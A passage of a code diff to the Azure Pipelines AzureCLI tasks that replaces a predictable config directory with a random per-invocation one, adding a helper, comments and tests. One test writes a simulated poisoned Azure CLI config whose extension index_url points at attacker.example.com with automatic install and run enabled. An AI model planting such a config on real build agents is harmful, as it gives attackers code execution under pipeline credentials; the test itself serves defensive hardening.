${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV1_Node24/task.json b/_generated/AzureCLIV1_Node24/task.json index 1873a3ae9110..9d9744cf1d59 100644 --- a/_generated/AzureCLIV1_Node24/task.json +++ b/_generated/AzureCLIV1_Node24/task.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 1 }, "minimumAgentVersion": "2.0.0", @@ -171,7 +171,7 @@ "ExpiredServicePrincipalMessageWithLink": "Secret expired, update service connection at %s See https://aka.ms/azdo-rm-workload-identity-conversion to learn more about conversion to secret-less service connections." }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV1_Node24/task.loc.json b/_generated/AzureCLIV1_Node24/task.loc.json index c97d405c8b0d..7d57a99a0d3b 100644 --- a/_generated/AzureCLIV1_Node24/task.loc.json +++ b/_generated/AzureCLIV1_Node24/task.loc.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 1 }, "minimumAgentVersion": "2.0.0", @@ -171,7 +171,7 @@ "ExpiredServicePrincipalMessageWithLink": "ms-resource:loc.messages.ExpiredServicePrincipalMessageWithLink" }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2.versionmap.txt b/_generated/AzureCLIV2.versionmap.txt index 265947236b72..c65bb3cd0ff3 100644 --- a/_generated/AzureCLIV2.versionmap.txt +++ b/_generated/AzureCLIV2.versionmap.txt @@ -1,2 +1,2 @@ -Default|2.275.4 -Node24_1|2.275.5 +Default|2.275.6 +Node24_1|2.275.7 diff --git a/_generated/AzureCLIV2/Tests/L0.ts b/_generated/AzureCLIV2/Tests/L0.ts index 033bce6979db..ccd3e0f83155 100644 --- a/_generated/AzureCLIV2/Tests/L0.ts +++ b/_generated/AzureCLIV2/Tests/L0.ts @@ -4,6 +4,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV2 Suite', function () { this.timeout(30000); @@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => { let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js'); let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp); diff --git a/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV2/azureclitask.ts b/_generated/AzureCLIV2/azureclitask.ts index 29b34905b4ae..7b97565e648e 100644 --- a/_generated/AzureCLIV2/azureclitask.ts +++ b/_generated/AzureCLIV2/azureclitask.ts @@ -10,6 +10,7 @@ import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -147,7 +148,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -218,11 +223,20 @@ export class azureclitask { process.env.AZURESUBSCRIPTION_CLIENT_ID = ''; process.env.AZURESUBSCRIPTION_TENANT_ID = ''; } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -354,13 +368,19 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; - } else { + const tempDir = tl.getVariable('Agent.TempDirectory'); + if (!tempDir) { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); + return; } + + // Security: use a freshly-created, unpredictable per-invocation directory + // so that an earlier step cannot pre-seed $(Agent.TempDirectory)/.azclitask/config + // with a poisoned extension.index_url (security hardening). + // fs.mkdtempSync creates a brand-new directory; the random suffix prevents + // attacker pre-seeding and the tight perms come from the agent temp root. + this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/_generated/AzureCLIV2/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV2/task.json b/_generated/AzureCLIV2/task.json index b234c526bcfd..16ecfab54f66 100644 --- a/_generated/AzureCLIV2/task.json +++ b/_generated/AzureCLIV2/task.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -231,7 +231,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2/task.loc.json b/_generated/AzureCLIV2/task.loc.json index b8761afdf5f7..ef7aa59de5b4 100644 --- a/_generated/AzureCLIV2/task.loc.json +++ b/_generated/AzureCLIV2/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -231,7 +231,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2_Node24/Tests/L0.ts b/_generated/AzureCLIV2_Node24/Tests/L0.ts index 033bce6979db..ccd3e0f83155 100644 --- a/_generated/AzureCLIV2_Node24/Tests/L0.ts +++ b/_generated/AzureCLIV2_Node24/Tests/L0.ts @@ -4,6 +4,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV2 Suite', function () { this.timeout(30000); @@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => { let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js'); let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp); diff --git a/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV2_Node24/azureclitask.ts b/_generated/AzureCLIV2_Node24/azureclitask.ts index 29b34905b4ae..7b97565e648e 100644 --- a/_generated/AzureCLIV2_Node24/azureclitask.ts +++ b/_generated/AzureCLIV2_Node24/azureclitask.ts @@ -10,6 +10,7 @@ import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -147,7 +148,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -218,11 +223,20 @@ export class azureclitask { process.env.AZURESUBSCRIPTION_CLIENT_ID = ''; process.env.AZURESUBSCRIPTION_TENANT_ID = ''; } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -354,13 +368,19 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; - } else { + const tempDir = tl.getVariable('Agent.TempDirectory'); + if (!tempDir) { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); + return; } + + // Security: use a freshly-created, unpredictable per-invocation directory + // so that an earlier step cannot pre-seed $(Agent.TempDirectory)/.azclitask/config + // with a poisoned extension.index_url (security hardening). + // fs.mkdtempSync creates a brand-new directory; the random suffix prevents + // attacker pre-seeding and the tight perms come from the agent temp root. + this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV2_Node24/task.json b/_generated/AzureCLIV2_Node24/task.json index 2d7585b19955..b83f4a756f00 100644 --- a/_generated/AzureCLIV2_Node24/task.json +++ b/_generated/AzureCLIV2_Node24/task.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 5 + "Patch": 7 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", @@ -235,7 +235,7 @@ "ScriptArgsSanitized": "Detected characters in arguments that may not be executed correctly by the shell. Please escape special characters using backslash (\\). More information is available here: https://aka.ms/ado/75787" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV2_Node24/task.loc.json b/_generated/AzureCLIV2_Node24/task.loc.json index 6b4a15820b16..292ee7d0495c 100644 --- a/_generated/AzureCLIV2_Node24/task.loc.json +++ b/_generated/AzureCLIV2_Node24/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 5 + "Patch": 7 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", @@ -235,7 +235,7 @@ "ScriptArgsSanitized": "ms-resource:loc.messages.ScriptArgsSanitized" }, "_buildConfigMapping": { - "Default": "2.275.4", - "Node24_1": "2.275.5" + "Default": "2.275.6", + "Node24_1": "2.275.7" } } \ No newline at end of file diff --git a/_generated/AzureCLIV3.versionmap.txt b/_generated/AzureCLIV3.versionmap.txt index e48cf1615e7d..efb07c18b086 100644 --- a/_generated/AzureCLIV3.versionmap.txt +++ b/_generated/AzureCLIV3.versionmap.txt @@ -1,2 +1,2 @@ -Default|3.275.8 -Node24_1|3.275.9 +Default|3.275.10 +Node24_1|3.275.11 diff --git a/_generated/AzureCLIV3/Tests/L0.ts b/_generated/AzureCLIV3/Tests/L0.ts index c9a3187f3d95..16c268f7b7ab 100644 --- a/_generated/AzureCLIV3/Tests/L0.ts +++ b/_generated/AzureCLIV3/Tests/L0.ts @@ -3,6 +3,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV3 Suite', function () { const timeout = 30000; @@ -21,6 +22,10 @@ describe('AzureCLIV3 Suite', function () { 